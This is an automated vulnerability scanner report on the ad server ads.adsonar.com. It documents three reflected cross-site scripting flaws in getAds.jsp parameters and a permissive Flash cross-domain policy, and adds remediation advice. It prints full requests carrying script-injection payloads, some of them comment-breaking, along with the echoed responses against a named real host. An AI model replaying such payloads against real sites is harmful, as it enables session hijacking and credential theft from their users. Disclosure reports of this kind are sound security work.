XSS, CWE-79, CAPEC-86, ads.adsonar.com, DORK, Cross Site Scripting

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Fri Feb 25 13:49:17 CST 2011.

The DORK Report

1. Cross-site scripting (reflected)

1.1. http://ads.adsonar.com/adserving/getAds.jsp [pid parameter]

1.2. http://ads.adsonar.com/adserving/getAds.jsp [placementId parameter]

1.3. http://ads.adsonar.com/adserving/getAds.jsp [ps parameter]

2. Flash cross-domain policy

1. Cross-site scripting (reflected) next
There are 3 instances of this issue:

/adserving/getAds.jsp [pid parameter]
/adserving/getAds.jsp [placementId parameter]
/adserving/getAds.jsp [ps parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://ads.adsonar.com/adserving/getAds.jsp [pid parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.adsonar.com
Path:	/adserving/getAds.jsp

Issue detail

The value of the pid request parameter is copied into the HTML document as plain text between tags. The payload 98aaa<script>alert(1)</script>55d87de66dd was submitted in the pid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserving/getAds.jsp?previousPlacementIds=&placementId=1491153&pid=199776798aaa<script>alert(1)</script>55d87de66dd&ps=-1&zw=300&zh=250&url=http%3A//www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1&v=5&dct=Microsoft%20warns%20of%20zero-day%20Windows%20flaw%20%7C%20bit-tech.net&metakw=mhtml,internet%20explorer,security,vulnerability,microsoft,windows HTTP/1.1
Host: ads.adsonar.com
Proxy-Connection: keep-alive
Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 15 Feb 2011 21:43:57 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: policyref="http://ads.adsonar.com/w3c/p3p.xml", CP="NOI DSP LAW NID CURa ADMa DEVa TAIo PSAo PSDo OUR SAMa OTRa IND UNI PUR COM NAV INT DEM STA PRE LOC"
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding,User-Agent
Content-Length: 1639

           <!DOCTYPE html PUBLIC "-//W3C//DTD html 4.01 transitional//EN">
           <html>
               <head>
                   <title>Ads by Quigo</title>
                   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
...[SNIP]...
</style>


                           java.lang.NumberFormatException: For input string: "199776798aaa<script>alert(1)</script>55d87de66dd"


                                                           </head>
...[SNIP]...

1.2. http://ads.adsonar.com/adserving/getAds.jsp [placementId parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.adsonar.com
Path:	/adserving/getAds.jsp

Issue detail

The value of the placementId request parameter is copied into an HTML comment. The payload da164--><script>alert(1)</script>b55ee031531 was submitted in the placementId parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /adserving/getAds.jsp?previousPlacementIds=&placementId=1491153da164--><script>alert(1)</script>b55ee031531&pid=1997767&ps=-1&zw=300&zh=250&url=http%3A//www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1&v=5&dct=Microsoft%20warns%20of%20zero-day%20Windows%20flaw%20%7C%20bit-tech.net&metakw=mhtml,internet%20explorer,security,vulnerability,microsoft,windows HTTP/1.1
Host: ads.adsonar.com
Proxy-Connection: keep-alive
Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 15 Feb 2011 21:43:49 GMT
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
Content-Length: 3340

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
   <html>
       <body>
       <script>alert(1)</script>b55ee031531" -->
...[SNIP]...

1.3. http://ads.adsonar.com/adserving/getAds.jsp [ps parameter] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.adsonar.com
Path:	/adserving/getAds.jsp

Issue detail

The value of the ps request parameter is copied into an HTML comment. The payload 6bed7--><script>alert(1)</script>9492c6a534e was submitted in the ps parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /adserving/getAds.jsp?previousPlacementIds=&placementId=1491153&pid=1997767&ps=-16bed7--><script>alert(1)</script>9492c6a534e&zw=300&zh=250&url=http%3A//www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1&v=5&dct=Microsoft%20warns%20of%20zero-day%20Windows%20flaw%20%7C%20bit-tech.net&metakw=mhtml,internet%20explorer,security,vulnerability,microsoft,windows HTTP/1.1
Host: ads.adsonar.com
Proxy-Connection: keep-alive
Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 15 Feb 2011 21:44:05 GMT
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
Content-Length: 3779

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
   <html>
       <body>
       <script>alert(1)</script>9492c6a534e" -->

...[SNIP]...

2. Flash cross-domain policy previous

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ads.adsonar.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: ads.adsonar.com

Response

HTTP/1.1 200 OK
Date: Tue, 15 Feb 2011 21:43:13 GMT
Server: Apache
Last-Modified: Tue, 07 Apr 2009 17:58:21 GMT
ETag: "a3d-466fac2afc940"
Accept-Ranges: bytes
Content-Length: 2621
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300, max=994
Connection: Keep-Alive
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="assets.espn.go.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="static.espn.go.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.quigo.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.lonelyplanet.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.mochila.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.conxise.net" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="app.scanscout.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="media.scanscout.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="static.scanscout.com" to-ports="*" secure="false"/>
...[SNIP]...
<allow-access-from domain="*.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.digitalcity.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.aolcdn.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="cdn-startpage.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="startpage.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.channels.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.channel.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.web.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.my.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.news.aol.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="iamalpha.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="imakealpha.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="aimcreate.mdat.aim.com:30100 " secure="false" />
...[SNIP]...
<allow-access-from domain="*.spinner.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.popeater.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.theboombox.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.opticalcortex.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.yourminis.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.facebook.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.liveminis.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.brightcove.com" to-ports="*" secure="false" />
...[SNIP]...
<allow-access-from domain="*.lightningcast.com" to-ports="*" secure="false" />
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Fri Feb 25 13:49:17 CST 2011.